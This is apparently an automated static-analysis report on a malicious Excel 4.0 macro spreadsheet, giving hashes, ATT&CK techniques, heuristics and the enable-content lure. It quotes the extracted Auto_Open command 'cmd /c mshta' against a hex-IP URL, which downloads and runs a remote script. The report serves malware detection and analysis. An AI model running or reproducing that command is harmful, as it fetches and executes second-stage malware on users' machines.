Malicious Office (OLE) / .XLS — malware analysis report

Static analysis result for SHA-256 3aec770bd44a420e…

MALICIOUS

Office (OLE) / .XLS

65.4 KB Created: 2022-01-17 17:40:35 Authoring application: Microsoft Excel
MD5: 5941151088fe46af3932726b38a2cf4e SHA-1: 30db7c022f29fc260b8ebe44c38eb6246c021aaa SHA-256: 3aec770bd44a420edca8d5f4ec04315b8ff5511516022a872d2ac799ba57c4c0
100 Risk Score

Malware Insights

MITRE ATT&CK
T1204.002 Malicious File: User Execution: Malicious File T1059.003 Command and Scripting Interpreter: Windows Command Shell

The sample is an Excel 4.0 macro-enabled spreadsheet that contains an Auto_Open macro. The document body explicitly instructs the user to 'Enable Editing' and 'Enable Content' to view the content, indicating a lure to bypass security settings. The extracted XLM macro defines a string 'cmd /c mshta http://0xc12a24f5/cc.html' and assigns it to the name 'lll'. This command will execute mshta.exe to download and run a script from the specified URL, likely serving as a downloader for a second-stage payload.

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Macro/content-enable lure medium SE_ENABLE_LURE
    Document instructs the user to enable macros or editing — a common technique used by malware droppers to bypass Office macro security settings

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt
0807f652a36752efcd354ce3c536f2fe7ed4cd53a3ff1787c33acb378dda90a0
xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 1073 bytes